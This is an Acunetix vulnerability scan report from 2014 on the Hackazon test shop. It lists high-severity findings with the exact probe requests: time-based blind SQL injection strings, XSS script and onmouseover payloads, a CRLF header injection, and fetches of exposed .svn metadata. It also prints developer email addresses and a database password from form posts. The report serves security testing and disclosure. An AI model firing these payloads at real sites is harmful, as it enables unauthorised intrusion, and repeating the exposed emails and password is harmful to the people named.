acunetix

WEB APPLICATION SECURITY

Acunetix Website Audit

24 September, 2014

Developer Report

Generated by Acunetix WVS Reporter (v9.0 Build 20140115)

Scan of http://hackazon.webscantest.com:80/

Scan details

Scan information	
Start time	24-09-2014 11:42:37
Finish time	The scan was aborted
Scan time	3 hours, 54 minutes
Profile	Default

Server information	
Responsive	True
Server banner	Apache/2.2.22 (Debian)
Server OS	Unix
Server technologies	PHP

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	**128**
High	31
Medium	25
Low	19
Informational	53

Alerts summary

Blind SQL Injection

Affects	Variation
/	1
/search/	1
/search/page/	1

CRLF injection/HTTP response splitting

Affects	Variation
/voucher	1

Cross site scripting (verified)

Affects	Variation
/	1
/install/db_settings	3
/search/	4
/search/page/	6

HTTP parameter pollution

Affects	Variation
/search/	1

SVN repository found

Affects	Variation
/	1
/css	1
/css/nivo-themes	1
/css/nivo-themes/bar	1
/css/nivo-themes/light	1
/font-awesome	1
/font-awesome/css	1
/font-awesome/fonts	1
/fonts	1
/js	1
/js/amf	1

Weak password

Affects	Variation
/admin/user/login	1

HTML form without CSRF protection

Affects	Variation
/	2
/admin/user/login	1
/bestprice	1
/install	1
/report/ntospider	1
/user/login	1
/user/login (8e13c9ba83d4f758824bd24bda1dd61d)	1
/user/password	2
/user/register	2
/user/register (ada5785eb89798b97ec6eecc06e3ba3e)	1
/wishlist	2

Insecure crossdomain.xml file

Affects	Variation
Web Server	1

User credentials are sent in clear text

Affects	Variation
/	1
/admin/user/login	1
/bestprice	1
/install	1
/user/login	1
/user/login (8e13c9ba83d4f758824bd24bda1dd61d)	1
/user/register	2
/user/register (ada5785eb89798b97ec6eecc06e3ba3e)	1

Clickjacking: X-Frame-Options header missing

Affects	Variation
Web Server	1

Documentation file

Affects	Variation
/Read Me.txt	1

Hidden form input named price was found

Affects	Variation
/bestprice	2
/search	1

Login page password-guessing attack

Affects	Variation
/admin/user/login	1
/install/db_settings	1
/user/login	2

Possible sensitive directories

Affects	Variation
/admin	1
/upload	1

Possible sensitive files

Affects	Variation
/install	1
/Install	1
/log.txt	2

Session Cookie without HttpOnly flag set

Affects	Variation
/	2

Session Cookie without Secure flag set

Affects	Variation
/	2

Broken links

Affects	Variation
/a	1
/amf	1
/category/view	1
/css/bar	1
/css/light	1
/less	1
/nivo-themes	1
/plugins	1
/report/ntospider/ResourceSummaryBreakdown_Applets.html	1
/report/ntospider/ResourceSummaryBreakdown_Authenticated.html	1
/report/ntospider/ResourceSummaryBreakdown_Comments.html	1
/report/ntospider/ResourceSummaryBreakdown_Email.html	1
/report/ntospider/ResourceSummaryBreakdown_Forms.html	1
/report/ntospider/ResourceSummaryBreakdown_HiddenFields.html	1
/report/ntospider/ResourceSummaryBreakdown_IFrame.html	1
/report/ntospider/ResourceSummaryBreakdown_LoginPages.html	1
/report/ntospider/ResourceSummaryBreakdown_Parameters.html	1
/report/ntospider/ResourceSummaryBreakdown_Scripts.html	1
/report/ntospider/ResourceSummaryBreakdown_Set-Cookie.html	1
/report/ntospider/ResourceSummaryBreakdown_Vulnerabilities.html	1
/scss	1
/upload (79ae5bca82842b16bae7ada2f1aff669)	1

Content type is not specified

Affects	Variation
/.svn/entries	1
/.svn/text-base/index.php.svn-base	1
/css/.svn/entries	1
/css/nivo-themes/.svn/entries	1
/css/nivo-themes/bar/.svn/entries	1
/css/nivo-themes/light/.svn/entries	1
/font-awesome/.svn/entries	1
/font-awesome/css/.svn/entries	1
/font-awesome/fonts/.svn/entries	1
/fonts/.svn/entries	1
/js/.svn/entries	1
/js/amf/.svn/entries	1

Email address found

Affects	Variation
/contact	1

GHDB: SQL error message

Affects	Variation
/install/db_settings (97eb453c90aa6e57b1174cc01cb34a8a)	1
/install/db_settings (c070808fcf8db8fe1dea55628b08e367)	1

Password type input with auto-complete enabled

Affects	Variation
/admin/user/login	1
/install	1
/user/login (1b7d92b257da3a80b3e049d07988485f)	1
/user/login (2861d42891b8a8995eaa9f641bb5f39f)	1
/user/login (2e48210ef9600d9247dcefd79e41a9bc)	1
/user/login (50dfd349322923634234a2cc88907339)	1
/user/login (74825fb8bcaf31e5a289919f24b8d64d)	1
/user/login (74a0f8e1f4c0684099b0161142445e4c)	1
/user/login (8e13c9ba83d4f758824bd24bda1dd61d)	1
/user/login (ef6a323c6cc429e96c0469a0ca30506b)	1
/user/register	2

Possible server path disclosure (Unix)

Affects	Variation
/cart/add	1
/review/send	1
/voucher	1

Possible username or password disclosure

Affects	Variation
/font-awesome/css/font-awesome.min.css	1

Alert details

Blind SQL Injection

Severity	**High**
Type	Validation
Reported by module	Scripting (Blind_Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

Acunetix SQL Injection Attack
OWASP PHP Top 5
SQL Injection Walkthrough
How to check for SQL injection vulnerabilities
VIDEO: SQL Injection tutorial
OWASP Injection Flaws

Affected items

/

Details

Cookie input visited_products was set to (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+"'+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+"'+(select(0)from(select(sleep(9)))v)+"*/ => 9.578 s
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+"'+(select(0)from(select(sleep(0)) ... (line truncated)

Request headers

```
GET / HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5;
visited_products=(select(0)from(select(sleep(0)))v)/*'%2B(select(0)from(select(sleep(0))
)v)%2B'"%2B(select(0)from(select(sleep(0)))v)%2B"*/
X-Requested-With: XMLHttpRequest
Referer: http://hackazon.webscantest.com:80/
```

```
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/

Details

URL encoded GET input id was set to
(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+"'+(select(0)from(select(sleep(0)))v)+"*/

Tests performed:
- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+"'+(select(0)from(select(sleep(9)))v)+"*/ => 20.032 s
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+"'+(select(0)from(select(sleep(6)))v)+ ... (line truncated)

Request headers

```
GET
/search/?id=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2
b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&searchString= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input id was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR"'XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:
- if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR"'XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => 20.016 s
- if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR"'XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => ... (line truncated)

Request headers

```
GET
/search/page/?brands=&id=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()
%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&page=2&price=&qu
ality=&searchString= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

CRLF injection/HTTP response splitting

Severity	**High**
Type	Validation
Reported by module	Scripting (CRLF_Injection.script)

Description

This script is possibly vulnerable to CRLF injection attacks.

HTTP headers have the structure "Key: Value", where each line is separated by the CRLF combination. If the user input is injected into the value section without properly escaping/removing CRLF characters it is possible to alter the HTTP headers structure.
HTTP Response Splitting is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and cross-site scripting (XSS). The attacker sends a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response.

Impact

Is it possible for a remote attacker to inject custom HTTP headers. For example, an attacker can inject session cookies or HTML code. This may conduct to vulnerabilities like XSS (cross-site scripting) or session fixation.

Recommendation

You need to restrict CR(0x13) and LF(0x10) from the user input or properly encode the output in order to prevent the injection of custom HTTP headers.

References

Acunetix CRLF Injection Attack
Whitepaper - HTTP Response Splitting
Introduction to HTTP Response Splitting

Affected items

/voucher

Details

URL encoded GET input contentType was set to SomeCustomInjectedHeader:injected_by_wvs
Injected header found:
SomeCustomInjectedHeader: injected_by_wvs

Request headers

```
POST /voucher?contentType=%0d%0a%20SomeCustomInjectedHeader:injected_by_wvs HTTP/1.1
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

{"serviceName":"VoucherService","methodName":"registerVoucher","parameters":["2014-09-24
T06:14:42.888Z",2]}
```

Cross site scripting (verified)

Severity	**High**
Type	Validation
Reported by module	Scripting (XSS.script)

Description

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Impact

Malicious users may inject JavaScript, VBScript, ActiveX, HTML or Flash into a vulnerable application to fool a user in order to gather data from them. An attacker can steal the session cookie and take over the account, impersonating the user. It is also possible to modify the content of the page presented to the user.

Recommendation

Your script should filter metacharacters from user input.

References

- VIDEO: How Cross-Site Scripting (XSS) Works
- The Cross Site Scripting Faq
- OWASP Cross Site Scripting
- XSS Annihilation
- XSS Filter Evasion Cheat Sheet
- Cross site scripting
- OWASP PHP Top 5
- How To: Prevent Cross-Site Scripting in ASP.NET
- Acunetix Cross Site Scripting Attack

Affected items

/

Details

Cookie input visited_products was set to vnim9qn5sv6ugn3tk1ehghr5l5'"()&%<ScRiPt >prompt(950812)</ScRiPt>

Request headers

```
GET / HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5;
visited_products=vnim9qn5sv6ugn3tk1ehghr5l5'"()&%<ScRiPt%20>prompt(950812)</ScRiPt>
Referer: http://hackazon.webscantest.com:80/
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/install/db_settings

Details

URL encoded POST input db was set to hackazon'"()&%<ScRiPt >prompt(974795)</ScRiPt>

Request headers

```
POST /install/db_settings HTTP/1.1
Content-Length: 161
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
```

```
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

create_if_not_exists=on&db=hackazon'%22()%26%25<ScRiPt%20>prompt(974795)</ScRiPt>&host=l
ocalhost&password=g00dPa%24%24w0rD&user=hackazon&use_existing_password=on
```

/install/db_settings

Details

URL encoded POST input host was set to localhost'"()&%<ScRiPt >prompt(979064)</ScRiPt>

Request headers

```
POST /install/db_settings HTTP/1.1
Content-Length: 161
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

create_if_not_exists=on&db=hackazon&host=localhost'%22()%26%25<ScRiPt%20>prompt(979064)<
/ScRiPt>&password=g00dPa%24%24w0rD&user=hackazon&use_existing_password=on
```

/install/db_settings

Details

URL encoded POST input user was set to hackazon'"()&%<ScRiPt >prompt(911864)</ScRiPt>

Request headers

```
POST /install/db_settings HTTP/1.1
Content-Length: 161
Content-Type: application/x-www-form-urlencoded
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

create_if_not_exists=on&db=hackazon&host=localhost&password=g00dPa%24%24w0rD&user=hackaz
on'%22()%26%25<ScRiPt%20>prompt(911864)</ScRiPt>&use_existing_password=on
```

/search/

Details

URL encoded GET input brands was set to 5" onmouseover=prompt(981228) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /search/?brands=5%22%20onmouseover%3dprompt(981228)%20bad%3d%22 HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/

Details

URL encoded GET input id was set to 3" onmouseover=prompt(995238) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /search/?id=3%22%20onmouseover%3dprompt(995238)%20bad%3d%22&searchString= HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/

Details

URL encoded GET input id was set to 3" onmouseover=prompt(920756) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET /search/?id=3%22%20onmouseover%3dprompt(920756)%20bad%3d%22&searchString= HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/

Details

URL encoded GET input searchString was set to e'"()&%<ScRiPt >prompt(936416)</ScRiPt>

Request headers

```
GET /search/?id=&searchString=e'%22()%26%25<ScRiPt%20>prompt(936416)</ScRiPt> HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input brands was set to 5" onmouseover=prompt(984104) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET
/search/page/?brands=5%22%20onmouseover%3dprompt(984104)%20bad%3d%22&id=&page=2&price=&q
uality=&searchString= HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input id was set to 3" onmouseover=prompt(925635) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET
/search/page/?brands=&id=3%22%20onmouseover%3dprompt(925635)%20bad%3d%22&page=2&price=&q
uality=&searchString= HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input id was set to 3" onmouseover=prompt(903684) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET
/search/page/?brands=&id=3%22%20onmouseover%3dprompt(903684)%20bad%3d%22&page=2&price=&q
uality=&searchString= HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input price was set to 1" onmouseover=prompt(999230) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET
/search/page/?brands=&id=&page=2&price=1%22%20onmouseover%3dprompt(999230)%20bad%3d%22&q
uality=&searchString= HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input quality was set to 1" onmouseover=prompt(926057) bad="
The input is reflected inside a tag parameter between double quotes.

Request headers

```
GET
/search/page/?brands=&id=&page=2&price=&quality=1%22%20onmouseover%3dprompt(926057)%20ba
d%3d%22&searchString= HTTP/1.1
```

```
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/search/page/

Details

URL encoded GET input searchString was set to e'"()&%<ScRiPt >prompt(904101)</ScRiPt>

Request headers

```
GET
/search/page/?brands=&id=&page=2&price=&quality=&searchString=e'%22()%26%25<ScRiPt%20>pr
ompt(904101)</ScRiPt> HTTP/1.1
Referer: http://hackazon.webscantest.com:80/
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

HTTP parameter pollution

Severity	**High**
Type	Configuration
Reported by module	Scripting (HTTP_Parameter_Pollution.script)

Description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.

Impact

The impact depends on the affected web application. An attacker could

- Override existing hardcoded HTTP parameters
- Modify the application behaviors
- Access and, potentially exploit, uncontrollable variables
- Bypass input validation checkpoints and WAFs rules

Recommendation

The application should properly sanitize user input (URL encode) to protect against this vulnerability.

References

HTTP Parameter Pollution

Affected items

/search/

Details

URL encoded GET input brands was set to 5&n946395=v962602
Parameter precedence: last occurrence
Affected link: /search/page/?page=1&id=&searchString=&brands=5&n946395=v962602&price=&quality=
Affected parameter: page=1

Request headers

```
GET /search/?brands=5%26n946395%3dv962602 HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

SVN repository found

Severity	**High**
Type	Validation
Reported by module	Scripting (SVN_Repository.script)

Description

Subversion metadata directory (.svn) was found in this folder. An attacker can extract sensitive information by requesting the hidden metadata directory that popular version control tool Subversion creates. The metadata directories are used for development purposes to keep track of development changes to a set of source code before it is committed back to a central repository (and vice-versa). When code is rolled to a live server from a repository, it is supposed to be done as an export rather than as a local working copy, and hence this problem.

Impact

These files may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove these files from production systems or restrict access to the .svn directory. To deny access to all the .svn folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

<Directory ~ "\.svn">
Order allow,deny
Deny from all
</Directory>

References

Apache Tips & Tricks: Deny access to some folders

Affected items

/

Details

SVN files found at : /.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web

Repository files/directories:

- <dir> css/
- <dir> fonts/
- .htaccess
- <dir> js/
- index.php
- log.txt
- <dir> helpdesk/
- crossdomain.xml
- <dir> products_pictures/
- <dir> font-awesome/
- ...

Repository users:

- ivan.podgurskiy@gmail.com
- n ... (line truncated)

Request headers

```
GET /.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css

Details

SVN files found at : /css/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/css

Repository files/directories:

- nivo-slider.css
- bootstrap.min.css
- bootstrap-theme.min.css
- site.css
- ekko-lightbox.css
- <dir> nivo-themes/
- sidebar.css
- bootstrap.css
- modern-business.css
- star-rating.min.css
- ...

Repository users:

... (line truncated)

Request headers

```
GET /css/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/nivo-themes

Details

SVN files found at : /css/nivo-themes/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/css/nivo-themes

Repository files/directories:

- <dir> light/
- <dir> bar/

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /css/nivo-themes/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/nivo-themes/bar

Details

SVN files found at : /css/nivo-themes/bar/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/css/nivo-themes/bar

Repository files/directories:

- bar.css
- bullets.png
- loading.gif

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /css/nivo-themes/bar/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/nivo-themes/light

Details

SVN files found at : /css/nivo-themes/light/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/css/nivo-themes/light

Repository files/directories:

- bullets.png
- light.css
- arrows.png
- loading.gif

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /css/nivo-themes/light/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/font-awesome

Details

SVN files found at : /font-awesome/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/font-awesome

Repository files/directories:

- <dir> css/
- <dir> fonts/
- <dir> scss/
- <dir> less/

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /font-awesome/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/font-awesome/css

Details

SVN files found at : /font-awesome/css/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/font-awesome/css

Repository files/directories:

- font-awesome.css
- font-awesome.min.css

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /font-awesome/css/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/font-awesome/fonts

Details

SVN files found at : /font-awesome/fonts/.svn/entries

Repository URL: http://hackazon.googlecode.com/svn/trunk/web/font-awesome/fonts

Repository files/directories:

- fontawesome-webfont.ttf
- fontawesome-webfont.svg
- fontawesome-webfont.woff
- FontAwesome.otf
- fontawesome-webfont.eot

Repository users:

- nick.chervyakov@gmail.com

Request headers

```
GET /font-awesome/fonts/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
